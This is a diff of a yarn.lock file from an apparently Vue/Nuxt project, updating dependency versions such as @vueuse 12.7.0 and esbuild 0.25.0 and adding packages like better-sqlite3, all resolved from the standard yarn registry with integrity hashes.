+  resolved "https://registry.yarnpkg.com/@vue/devtools-shared/-/devtools-shared-7.7.2.tgz#b11b143820130a32d8ce5737e264d06ab6d62f40"
+  integrity sha512-uBFxnp8gwW2vD6FrJB8JZLUzVb6PNRG0B0jBnHsOH8uKyva2qINY8PTF5Te4QlTbMDqU5K6qtJDr6cNsKWhbOA==
   dependencies:
     rfdc "^1.4.1"
 
+"@vue/language-core@2.2.2":
+  version "2.2.2"
+  resolved "https://registry.yarnpkg.com/@vue/language-core/-/language-core-2.2.2.tgz#aa0e916bf18434077887e8ba269729b45564f625"
+  integrity sha512-QotO41kurE5PLf3vrNgGTk3QswO2PdUFjBwNiOi7zMmGhwb25PSTh9hD1MCgKC06AVv+8sZQvlL3Do4TTVHSiQ==
+  dependencies:
+    "@volar/language-core" "~2.4.11"
+    "@vue/compiler-dom" "^3.5.0"
+    "@vue/compiler-vue2" "^2.7.16"
+    "@vue/shared" "^3.5.0"
+    alien-signals "^1.0.3"
+    minimatch "^9.0.3"
+    muggle-string "^0.4.1"
+    path-browserify "^1.0.1"
+
 "@vue/reactivity@3.5.13":
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/@vue/reactivity/-/reactivity-3.5.13.tgz#b41ff2bb865e093899a22219f5b25f97b6fe155f"
@@ -3745,12 +3730,22 @@
     "@vue/compiler-ssr" "3.5.13"
     "@vue/shared" "3.5.13"
 
-"@vue/shared@3.5.13", "@vue/shared@^3.5.13":
+"@vue/shared@3.5.13", "@vue/shared@^3.5.0", "@vue/shared@^3.5.13":
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/@vue/shared/-/shared-3.5.13.tgz#87b309a6379c22b926e696893237826f64339b6f"
   integrity sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==
 
-"@vueuse/core@11.3.0", "@vueuse/core@^11.1.0":
+"@vueuse/core@12.7.0", "@vueuse/core@^12.2.0", "@vueuse/core@^12.7.0":
+  version "12.7.0"
+  resolved "https://registry.yarnpkg.com/@vueuse/core/-/core-12.7.0.tgz#b9c3880e9c01d9db86029c6a58412f1b1922497e"
+  integrity sha512-jtK5B7YjZXmkGNHjviyGO4s3ZtEhbzSgrbX+s5o+Lr8i2nYqNyHuPVOeTdM1/hZ5Tkxg/KktAuAVDDiHMraMVA==
+  dependencies:
+    "@types/web-bluetooth" "^0.0.20"
+    "@vueuse/metadata" "12.7.0"
+    "@vueuse/shared" "12.7.0"
+    vue "^3.5.13"
+
+"@vueuse/core@^11.1.0":
   version "11.3.0"
   resolved "https://registry.yarnpkg.com/@vueuse/core/-/core-11.3.0.tgz#bb0bd1f0edd5435d20694dbe51091cf548653a4d"
   integrity sha512-7OC4Rl1f9G8IT6rUfi9JrKiXy4bfmHhZ5x2Ceojy0jnd3mHNEvV4JaRygH362ror6/NZ+Nl+n13LPzGiPN8cKA==
@@ -3760,33 +3755,13 @@
     "@vueuse/shared" "11.3.0"
     vue-demi ">=0.14.10"
 
-"@vueuse/core@12.5.0", "@vueuse/core@^12.2.0", "@vueuse/core@^12.4.0":
-  version "12.5.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/core/-/core-12.5.0.tgz#1321c75132c4f20f223e6313587ebeeec79957f2"
-  integrity sha512-GVyH1iYqNANwcahAx8JBm6awaNgvR/SwZ1fjr10b8l1HIgDp82ngNbfzJUgOgWEoxjL+URAggnlilAEXwCOZtg==
-  dependencies:
-    "@types/web-bluetooth" "^0.0.20"
-    "@vueuse/metadata" "12.5.0"
-    "@vueuse/shared" "12.5.0"
-    vue "^3.5.13"
-
-"@vueuse/head@^2.0.0":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/head/-/head-2.0.0.tgz#a4570c0933368a436796c2f737d56e169a8f0864"
-  integrity sha512-ykdOxTGs95xjD4WXE4na/umxZea2Itl0GWBILas+O4oqS7eXIods38INvk3XkJKjqMdWPcpCyLX/DioLQxU1KA==
-  dependencies:
-    "@unhead/dom" "^1.7.0"
-    "@unhead/schema" "^1.7.0"
-    "@unhead/ssr" "^1.7.0"
-    "@unhead/vue" "^1.7.0"
-
 "@vueuse/integrations@^12.2.0":
-  version "12.5.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/integrations/-/integrations-12.5.0.tgz#6496ea24772d087c8fec3973a471a6ab50f9e7c0"
-  integrity sha512-HYLt8M6mjUfcoUOzyBcX2RjpfapIwHPBmQJtTmXOQW845Y/Osu9VuTJ5kPvnmWJ6IUa05WpblfOwZ+P0G4iZsQ==
+  version "12.7.0"
+  resolved "https://registry.yarnpkg.com/@vueuse/integrations/-/integrations-12.7.0.tgz#d9ba676a6643def3f8dcc99580162fbaf33de05e"
+  integrity sha512-IEq7K4bCl7mn3uKJaWtNXnd1CAPaHLUMuyj5K1/k/pVcItt0VONZW8xiGxdIovJcQjkzOHjImhX5t6gija+0/g==
   dependencies:
-    "@vueuse/core" "12.5.0"
-    "@vueuse/shared" "12.5.0"
+    "@vueuse/core" "12.7.0"
+    "@vueuse/shared" "12.7.0"
     vue "^3.5.13"
 
 "@vueuse/metadata@11.3.0":
@@ -3794,30 +3769,19 @@
   resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-11.3.0.tgz#be7ac12e3016c0353a3667b372a73aeeee59194e"
   integrity sha512-pwDnDspTqtTo2HwfLw4Rp6yywuuBdYnPYDq+mO38ZYKGebCUQC/nVj/PXSiK9HX5otxLz8Fn7ECPbjiRz2CC3g==
 
-"@vueuse/metadata@12.5.0":
-  version "12.5.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-12.5.0.tgz#8f1778a2894bdda2bf458054377a379d40276306"
-  integrity sha512-Ui7Lo2a7AxrMAXRF+fAp9QsXuwTeeZ8fIB9wsLHqzq9MQk+2gMYE2IGJW48VMJ8ecvCB3z3GsGLKLbSasQ5Qlg==
-
-"@vueuse/nuxt@^11.1.0":
-  version "11.3.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/nuxt/-/nuxt-11.3.0.tgz#832ed704b3e330939c9be2c6dcbaa4c4aac19c48"
-  integrity sha512-FxtRTgFmsoASamR3lOftv/r11o1BojF9zir8obbTnKamVZdlQ5rgJ0hHgVbrgA6dlMuEx/PzwqAmiKNFdU4oCQ==
-  dependencies:
-    "@nuxt/kit" "^3.14.1592"
-    "@vueuse/core" "11.3.0"
-    "@vueuse/metadata" "11.3.0"
-    local-pkg "^0.5.1"
-    vue-demi ">=0.14.10"
+"@vueuse/metadata@12.7.0":
+  version "12.7.0"
+  resolved "https://registry.yarnpkg.com/@vueuse/metadata/-/metadata-12.7.0.tgz#17a263927204962ec045095c83f62c81db085a46"
+  integrity sha512-4VvTH9mrjXqFN5LYa5YfqHVRI6j7R00Vy4995Rw7PQxyCL3z0Lli86iN4UemWqixxEvYfRjG+hF9wL8oLOn+3g==
 
 "@vueuse/nuxt@^12.2.0":
-  version "12.5.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/nuxt/-/nuxt-12.5.0.tgz#c8d5bf3883007650a1d7da083e6013288a774d68"
-  integrity sha512-daqSOlXv5ilAiT5GlRBtfqdkYjeMO9P6n50OpbEVm9hXmfXmZoXK3YMND8l5n5KcscD4pnD66IrYPqqOW5eH1Q==
+  version "12.7.0"
+  resolved "https://registry.yarnpkg.com/@vueuse/nuxt/-/nuxt-12.7.0.tgz#9d5f900923cff91a958955b60b2a0e7cb653a339"
+  integrity sha512-JG1yjJifcIZkFr+X1VmfNsdNZyHia/wXcpUHqVI2gwax5+bgmUlybqh9nStNGbX9NLUuPvPNNq043es5DlSJKg==
   dependencies:
-    "@nuxt/kit" "^3.15.1"
-    "@vueuse/core" "12.5.0"
-    "@vueuse/metadata" "12.5.0"
+    "@nuxt/kit" "^3.15.4"
+    "@vueuse/core" "12.7.0"
+    "@vueuse/metadata" "12.7.0"
     local-pkg "^1.0.0"
     vue "^3.5.13"
 
@@ -3828,13 +3792,18 @@
   dependencies:
     vue-demi ">=0.14.10"
 
-"@vueuse/shared@12.5.0":
-  version "12.5.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/shared/-/shared-12.5.0.tgz#b93af7ab0fd6a8d879808c9bf37d540dac01da13"
-  integrity sha512-vMpcL1lStUU6O+kdj6YdHDixh0odjPAUM15uJ9f7MY781jcYkIwFA4iv2EfoIPO6vBmvutI1HxxAwmf0cx5ISQ==
+"@vueuse/shared@12.7.0":
+  version "12.7.0"
+  resolved "https://registry.yarnpkg.com/@vueuse/shared/-/shared-12.7.0.tgz#0c573789069818a2e25ddae3ab64b536c614537b"
+  integrity sha512-coLlUw2HHKsm7rPN6WqHJQr18WymN4wkA/3ThFaJ4v4gWGWAQQGK+MJxLuJTBs4mojQiazlVWAKNJNpUWGRkNw==
   dependencies:
     vue "^3.5.13"
 
+"@webcontainer/env@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@webcontainer/env/-/env-1.1.1.tgz#23021b2bb24befeeef53dba8996d1886b7016515"
+  integrity sha512-6aN99yL695Hi9SuIk1oC88l9o0gmxL1nGWWQ/kNy81HigJ0FoaoTXpytCj6ItzgyCEwA9kF1wixsTuv5cjsgng==
+
 abbrev@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-3.0.0.tgz#c29a6337e167ac61a84b41b80461b29c5c271a27"
@@ -3898,6 +3867,11 @@ ajv@^6.12.4, ajv@^6.12.5:
     json-schema-traverse "^0.4.1"
     uri-js "^4.2.2"
 
+alien-signals@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/alien-signals/-/alien-signals-1.0.4.tgz#c696a5dc9963fc648ae97093411d7e74b0a81ac0"
+  integrity sha512-DJqqQD3XcsaQcQ1s+iE2jDUZmmQpXwHiR6fCAim/w87luaW+vmLY8fMlrdkmRwzaFXhkxf3rqPCR59tKVv1MDw==
+
 ansi-colors@^4.1.3:
   version "4.1.3"
   resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.3.tgz#37611340eb2243e70cc604cad35d63270d48781b"
@@ -4130,6 +4104,14 @@ before-after-hook@^3.0.2:
   resolved "https://registry.yarnpkg.com/before-after-hook/-/before-after-hook-3.0.2.tgz#d5665a5fa8b62294a5aa0a499f933f4a1016195d"
   integrity sha512-Nik3Sc0ncrMK4UUdXQmAnRtzmNQTAAXmXIopizwZ1W1t8QmfJj+zL4OA2I7XPTPW5z5TDqv4hRo/JzouDJnX3A==
 
+better-sqlite3@^11.8.1:
+  version "11.8.1"
+  resolved "https://registry.yarnpkg.com/better-sqlite3/-/better-sqlite3-11.8.1.tgz#bcb1c494984065a7ed76a5df5ecbcb0f068d47fa"
+  integrity sha512-9BxNaBkblMjhJW8sMRZxnxVTRgbRmssZW0Oxc1MPBTfiR+WW21e2Mk4qu8CzrcZb1LwPCnFsfDEzq+SNcBU8eg==
+  dependencies:
+    bindings "^1.5.0"
+    prebuild-install "^7.1.1"
+
 big.js@^5.2.2:
   version "5.2.2"
   resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
@@ -4151,7 +4133,7 @@ binary-extensions@^2.0.0, binary-extensions@^2.3.0:
   resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.3.0.tgz#f6e14a97858d327252200242d4ccfe522c445522"
   integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==
 
-bindings@^1.4.0:
+bindings@^1.4.0, bindings@^1.5.0:
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
   integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
@@ -4264,14 +4246,14 @@ bundle-name@^4.1.0:
   dependencies:
     run-applescript "^7.0.0"
 
-bundle-require@^5.0.0:
+bundle-require@^5.0.0, bundle-require@^5.1.0:
   version "5.1.0"
   resolved "https://registry.yarnpkg.com/bundle-require/-/bundle-require-5.1.0.tgz#8db66f41950da3d77af1ef3322f4c3e04009faee"
   integrity sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==
   dependencies:
     load-tsconfig "^0.2.3"
 
-c12@2.0.1, c12@^2.0.1:
+c12@2.0.1, c12@^2.0.1, c12@^2.0.2:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/c12/-/c12-2.0.1.tgz#5702d280b31a08abba39833494c9b1202f0f5aec"
   integrity sha512-Z4JgsKXHG37C6PYUtIxCfLJZvo6FyhHJoClwwb9ftUkLpPSkuYqn6Tr+vnaN8hymm0kIbcg6Ey3kv/Q71k5w/A==
@@ -4333,9 +4315,9 @@ caniuse-api@^3.0.0:
     lodash.uniq "^4.5.0"
 
 caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001688:
-  version "1.0.30001699"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001699.tgz#a102cf330d153bf8c92bfb5be3cd44c0a89c8c12"
-  integrity sha512-b+uH5BakXZ9Do9iK+CkDmctUSEqZl+SP056vc5usa0PL+ev5OHw003rZXcnjNDv3L8P5j6rwT6C0BPKSikW08w==
+  version "1.0.30001700"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001700.tgz#26cd429cf09b4fd4e745daf4916039c794d720f6"
+  integrity sha512-2S6XIXwaE7K7erT8dY+kLQcpa5ms63XlRkMkReXjle+kf6c5g38vyMl+Z5y8dSxOFDhcFe+nxnn261PLxBSQsQ==
 
 ccount@^2.0.0:
   version "2.0.1"
@@ -4488,9 +4470,9 @@ ci-info@^4.0.0, ci-info@^4.1.0:
   integrity sha512-HutrvTNsF48wnxkzERIXOe5/mlcfFcbfCmwcg6CJnizbSue78AbDt+1cgl26zwn61WFxhcPykPfZrbqjGmBb4A==
 
 cidr-regex@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/cidr-regex/-/cidr-regex-4.1.1.tgz#acbe7ba9f10d658710bddd25baa900509e90125a"
-  integrity sha512-ekKcVp+iRB9zlKFXyx7io7nINgb0oRjgRdXNEodp1OuxRui8FXr/CA40Tz1voWUp9DPPrMyQKy01vJhDo4N1lw==
+  version "4.1.3"
+  resolved "https://registry.yarnpkg.com/cidr-regex/-/cidr-regex-4.1.3.tgz#df94af8ac16fc2e0791e2824693b957ff1ac4d3e"
+  integrity sha512-86M1y3ZeQvpZkZejQCcS+IaSWjlDUC+ORP0peScQ4uEUFCZ8bEQVz7NlJHqysoUb6w3zCjx4Mq/8/2RHhMwHYw==
   dependencies:
     ip-regex "^5.0.0"
 
@@ -4746,11 +4728,10 @@ conventional-changelog-angular@^8.0.0:
     compare-func "^2.0.0"
 
 conventional-changelog-writer@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.yarnpkg.com/conventional-changelog-writer/-/conventional-changelog-writer-8.0.0.tgz#81522ed40400a4ca8ab78a42794aae9667c745ae"
-  integrity sha512-TQcoYGRatlAnT2qEWDON/XSfnVG38JzA7E0wcGScu7RElQBkg9WWgZd1peCWFcWDh1xfb2CfsrcvOn1bbSzztA==
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/conventional-changelog-writer/-/conventional-changelog-writer-8.0.1.tgz#656e156ea0ab02b3bb574b7073beeb4f81c5b4bb"
+  integrity sha512-hlqcy3xHred2gyYg/zXSMXraY2mjAYYo0msUCpK+BGyaVJMFCKWVXPIHiaacGO2GGp13kvHWXFhYmxT4QQqW3Q==
   dependencies:
-    "@types/semver" "^7.5.5"
     conventional-commits-filter "^5.0.0"
     handlebars "^4.7.7"
     meow "^13.0.0"
@@ -4762,9 +4743,9 @@ conventional-commits-filter@^5.0.0:
   integrity sha512-tQMagCOC59EVgNZcC5zl7XqO30Wki9i9J3acbUvkaosCT6JX3EeFwJD7Qqp4MCikRnzS18WXV3BLIQ66ytu6+Q==
 
 conventional-commits-parser@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/conventional-commits-parser/-/conventional-commits-parser-6.0.0.tgz#74e3be5344d8cd99f7c3353da2efa1d1dd618061"
-  integrity sha512-TbsINLp48XeMXR8EvGjTnKGsZqBemisPoyWESlpRyR8lif0lcwzqz+NMtYSj1ooF/WYjSuu7wX0CtdeeMEQAmA==
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/conventional-commits-parser/-/conventional-commits-parser-6.1.0.tgz#a650db0c139a99d6c52bb5b192102c7c4bdfb734"
+  integrity sha512-5nxDo7TwKB5InYBl4ZC//1g9GRwB/F3TXOGR9hgUjMGfvSP4Vu5NkpNro2+1+TIEy1vwxApl5ircECr2ri5JIw==
   dependencies:
     meow "^13.0.0"
 
@@ -5368,10 +5349,15 @@ dayjs@^1.11.10:
   resolved "https://registry.yarnpkg.com/dayjs/-/dayjs-1.11.13.tgz#92430b0139055c3ebb60150aa13e860a4b5a366c"
   integrity sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==
 
-db0@^0.2.1:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/db0/-/db0-0.2.3.tgz#91f1c083d65f9198ba5ae440628722f9db44d886"
-  integrity sha512-PunuHESDNefmwVy1LDpY663uWwKt2ogLGoB6NOz2sflGREWqDreMwDgF8gfkXxgNXW+dqviyiJGm924H1BaGiw==
+db0@^0.2.1, db0@^0.2.4:
+  version "0.2.4"
+  resolved "https://registry.yarnpkg.com/db0/-/db0-0.2.4.tgz#458e400516ccaa3f34722cd5eedc762835974518"
+  integrity sha512-hIzftLH1nMsF95zSLjDLYLbE9huOXnLYUTAQ5yKF5amp0FpeD+B15XJa8BvGYSOeSCH4gl2WahB/y1FcUByQSg==
+
+de-indent@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/de-indent/-/de-indent-1.0.2.tgz#b2038e846dc33baa5796128d0804b455b8c1e21d"
+  integrity sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==
 
 debug@2.6.9, debug@^2.6.9:
   version "2.6.9"
@@ -5380,7 +5366,7 @@ debug@2.6.9, debug@^2.6.9:
   dependencies:
     ms "2.0.0"
 
-debug@4, debug@^4.0.0, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.3, debug@^4.3.4, debug@^4.3.5, debug@^4.3.6, debug@^4.3.7, debug@^4.4.0:
+debug@4, debug@4.4.0, debug@^4.0.0, debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.3.3, debug@^4.3.4, debug@^4.3.5, debug@^4.3.6, debug@^4.3.7, debug@^4.4.0:
   version "4.4.0"
   resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
   integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
@@ -5630,9 +5616,9 @@ ee-first@1.1.1:
   integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
 
 electron-to-chromium@^1.5.73:
-  version "1.5.97"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.97.tgz#5c4a4744c79e7c85b187adf5160264ac130c776f"
-  integrity sha512-HKLtaH02augM7ZOdYRuO19rWDeY+QSJ1VxnXFa/XDFLf07HvM90pALIJFgrO+UVaajI3+aJMMpojoUTLZyQ7JQ==
+  version "1.5.102"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.102.tgz#81a452ace8e2c3fa7fba904ea4fed25052c53d3f"
+  integrity sha512-eHhqaja8tE/FNpIiBrvBjFV/SSKpyWHLvxuR9dPTdo+3V9ppdLmFB7ZZQ98qNovcngPLYIz0oOBF9P0FfZef5Q==
 
 emoji-regex-xs@^1.0.0:
   version "1.0.0"
@@ -5765,12 +5751,43 @@ errx@^0.1.0:
   resolved "https://registry.yarnpkg.com/errx/-/errx-0.1.0.tgz#4881e411d90a3b1e1620a07604f50081dd59f3aa"
   integrity sha512-fZmsRiDNv07K6s2KkKFTiD2aIvECa7++PKyD5NC32tpRw46qZA3sOz+aM+/V9V0GDHxVTKLziveV4JhzBHDp9Q==
 
-es-module-lexer@^1.5.3, es-module-lexer@^1.5.4:
+es-module-lexer@^1.5.3, es-module-lexer@^1.6.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.6.0.tgz#da49f587fd9e68ee2404fe4e256c0c7d3a81be21"
   integrity sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==
 
-"esbuild@^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0", esbuild@^0.24.0, esbuild@^0.24.2:
+"esbuild@^0.20.2 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0", esbuild@~0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.25.0.tgz#0de1787a77206c5a79eeb634a623d39b5006ce92"
+  integrity sha512-BXq5mqc8ltbaN34cDqWuYKyNhX8D/Z0J1xdtdQ8UcIIIyJyz+ZMKUt58tF3SrZ85jcfN/PZYhjR5uDQAYNVbuw==
+  optionalDependencies:
+    "@esbuild/aix-ppc64" "0.25.0"
+    "@esbuild/android-arm" "0.25.0"
+    "@esbuild/android-arm64" "0.25.0"
+    "@esbuild/android-x64" "0.25.0"
+    "@esbuild/darwin-arm64" "0.25.0"
+    "@esbuild/darwin-x64" "0.25.0"
+    "@esbuild/freebsd-arm64" "0.25.0"
+    "@esbuild/freebsd-x64" "0.25.0"
+    "@esbuild/linux-arm" "0.25.0"
+    "@esbuild/linux-arm64" "0.25.0"
+    "@esbuild/linux-ia32" "0.25.0"
+    "@esbuild/linux-loong64" "0.25.0"
+    "@esbuild/linux-mips64el" "0.25.0"
+    "@esbuild/linux-ppc64" "0.25.0"
+    "@esbuild/linux-riscv64" "0.25.0"
+    "@esbuild/linux-s390x" "0.25.0"
+    "@esbuild/linux-x64" "0.25.0"
+    "@esbuild/netbsd-arm64" "0.25.0"
+    "@esbuild/netbsd-x64" "0.25.0"
+    "@esbuild/openbsd-arm64" "0.25.0"
+    "@esbuild/openbsd-x64" "0.25.0"
+    "@esbuild/sunos-x64" "0.25.0"
+    "@esbuild/win32-arm64" "0.25.0"
+    "@esbuild/win32-ia32" "0.25.0"
+    "@esbuild/win32-x64" "0.25.0"
+
+esbuild@^0.24.0, esbuild@^0.24.2:
   version "0.24.2"
   resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.24.2.tgz#b5b55bee7de017bff5fb8a4e3e44f2ebe2c3567d"
   integrity sha512-+9egpBW8I3CD5XPe0n6BfT5fxLzxrlDzqydF3aviG+9ni1lDC/OvMHcxqEFV0+LANZG5R1bFMWfUrjVsdwxJvA==
@@ -5801,65 +5818,6 @@ es-module-lexer@^1.5.3, es-module-lexer@^1.5.4:
     "@esbuild/win32-ia32" "0.24.2"
     "@esbuild/win32-x64" "0.24.2"
 
-esbuild@^0.21.3:
-  version "0.21.5"
-  resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.21.5.tgz#9ca301b120922959b766360d8ac830da0d02997d"
-  integrity sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==
-  optionalDependencies:
-    "@esbuild/aix-ppc64" "0.21.5"
-    "@esbuild/android-arm" "0.21.5"
-    "@esbuild/android-arm64" "0.21.5"
-    "@esbuild/android-x64" "0.21.5"
-    "@esbuild/darwin-arm64" "0.21.5"
-    "@esbuild/darwin-x64" "0.21.5"
-    "@esbuild/freebsd-arm64" "0.21.5"
-    "@esbuild/freebsd-x64" "0.21.5"
-    "@esbuild/linux-arm" "0.21.5"
-    "@esbuild/linux-arm64" "0.21.5"
-    "@esbuild/linux-ia32" "0.21.5"
-    "@esbuild/linux-loong64" "0.21.5"
-    "@esbuild/linux-mips64el" "0.21.5"
-    "@esbuild/linux-ppc64" "0.21.5"
-    "@esbuild/linux-riscv64" "0.21.5"
-    "@esbuild/linux-s390x" "0.21.5"
-    "@esbuild/linux-x64" "0.21.5"
-    "@esbuild/netbsd-x64" "0.21.5"
-    "@esbuild/openbsd-x64" "0.21.5"
-    "@esbuild/sunos-x64" "0.21.5"
-    "@esbuild/win32-arm64" "0.21.5"
-    "@esbuild/win32-ia32" "0.21.5"
-    "@esbuild/win32-x64" "0.21.5"
-
-esbuild@~0.23.0:
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.23.1.tgz#40fdc3f9265ec0beae6f59824ade1bd3d3d2dab8"
-  integrity sha512-VVNz/9Sa0bs5SELtn3f7qhJCDPCF5oMEl5cO9/SSinpE9hbPVvxbd572HH5AKiP7WD8INO53GgfDDhRjkylHEg==
-  optionalDependencies:
-    "@esbuild/aix-ppc64" "0.23.1"
-    "@esbuild/android-arm" "0.23.1"
-    "@esbuild/android-arm64" "0.23.1"
-    "@esbuild/android-x64" "0.23.1"
-    "@esbuild/darwin-arm64" "0.23.1"
-    "@esbuild/darwin-x64" "0.23.1"
-    "@esbuild/freebsd-arm64" "0.23.1"
-    "@esbuild/freebsd-x64" "0.23.1"
-    "@esbuild/linux-arm" "0.23.1"
-    "@esbuild/linux-arm64" "0.23.1"
-    "@esbuild/linux-ia32" "0.23.1"
-    "@esbuild/linux-loong64" "0.23.1"
-    "@esbuild/linux-mips64el" "0.23.1"
-    "@esbuild/linux-ppc64" "0.23.1"
-    "@esbuild/linux-riscv64" "0.23.1"
-    "@esbuild/linux-s390x" "0.23.1"
-    "@esbuild/linux-x64" "0.23.1"
-    "@esbuild/netbsd-x64" "0.23.1"
-    "@esbuild/openbsd-arm64" "0.23.1"
-    "@esbuild/openbsd-x64" "0.23.1"
-    "@esbuild/sunos-x64" "0.23.1"
-    "@esbuild/win32-arm64" "0.23.1"
-    "@esbuild/win32-ia32" "0.23.1"
-    "@esbuild/win32-x64" "0.23.1"
-
 escalade@^3.1.1, escalade@^3.2.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
@@ -5870,6 +5828,11 @@ escape-html@^1.0.3, escape-html@~1.0.3:
   resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
   integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
 
+escape-string-regexp@4.0.0, escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
 escape-string-regexp@5.0.0, escape-string-regexp@^5.0.0:
   version "5.0.0"
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz#4683126b500b61762f2dbebace1806e8be31b1c8"
@@ -5880,11 +5843,6 @@ escape-string-regexp@^1.0.5:
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
   integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
 
-escape-string-regexp@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
-  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
-
 escodegen@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-2.1.0.tgz#ba93bbb7a43986d29d6041f99f5262da773e2e17"
@@ -6040,13 +5998,13 @@ eslint-plugin-vue@^9.28.0:
     xml-name-validator "^4.0.0"
 
 eslint-plugin-yml@^1.14.0:
-  version "1.16.0"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-yml/-/eslint-plugin-yml-1.16.0.tgz#1dc7d24d1dc40912db2e70fcab79312cdfb70875"
